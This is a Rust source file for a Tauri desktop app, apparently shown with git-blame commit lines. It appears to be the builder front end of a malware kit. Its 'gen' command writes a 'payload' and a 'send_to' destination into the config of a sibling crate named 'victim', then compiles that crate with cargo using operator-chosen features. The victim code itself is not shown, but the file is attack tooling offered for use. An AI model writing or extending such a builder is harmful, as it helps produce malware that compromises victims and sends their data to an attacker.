89bc4b52 Arthur Meltonc1f59a62 Arthur Melton335dec98 Arthur Meltonc1f59a62 Arthur Melton335dec98 Arthur Meltondfc58611 Arthur Meltonc1f59a62 Arthur Meltondfc58611 Arthur Meltonc1f59a62 Arthur Meltonc1f59a62 Arthur Melton8b2d0277 Arthur Meltonc1f59a62 Arthur Melton335dec98 Arthur Melton89bc4b52 Arthur Melton335dec98 Arthur Melton8b2d0277 Arthur Melton335dec98 Arthur Melton8b2d0277 Arthur Meltondf6fb4e9 Arthur Melton8b2d0277 Arthur Meltonc1f59a62 Arthur Melton8b2d0277 Arthur Melton406fafb5 Arthur Melton8b2d0277 Arthur Meltonc1f59a62 Arthur Melton8b2d0277 Arthur Meltonc1f59a62 Arthur Meltonb90df7a0 Arthur Meltonc1f59a62 Arthur Meltonb90df7a0 Arthur Melton89bc4b52 Arthur Melton8b2d0277 Arthur Meltonb90df7a0 Arthur Melton8b2d0277 Arthur Melton89bc4b52 Arthur Melton406fafb5 Arthur Melton89bc4b52 Arthur Melton
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
#![cfg_attr(
all(not(debug_assertions), target_os = "windows"),
windows_subsystem = "windows"
)]
use std::process::Command;
use config::Config;
use std::fs::File;
use std::io::Write;
#[tauri::command]
fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {
if payload == Some("".to_string()) {payload = None;}
let mut path = std::env::current_exe().unwrap();
for _ in 0..4 {
path.pop();
}
path.push("victim");
path.push("config.toml");
let config = Config {
payload: payload.clone(),
send_to,
};
let mut file = File::create(path.clone()).unwrap();
file.write_all(toml::to_string(&config).unwrap().as_bytes()).unwrap();
file.sync_all().unwrap();
path.pop();
let mut args = vec!["build", "--release"];
for i in features.iter().map(|x| x.as_str()).collect::<Vec<_>>() {
args.push("--features");
args.push(i);
}
if payload.is_some() {
args.push("--features");
args.push("payload");
}
Command::new("cargo")
.args(args)
.current_dir(&path.display().to_string())
.output()
.expect("failed to execute process");
}
fn main() {
tauri::Builder::default()
.invoke_handler(tauri::generate_handler![gen])
.run(tauri::generate_context!())
.expect("error while running tauri application");
}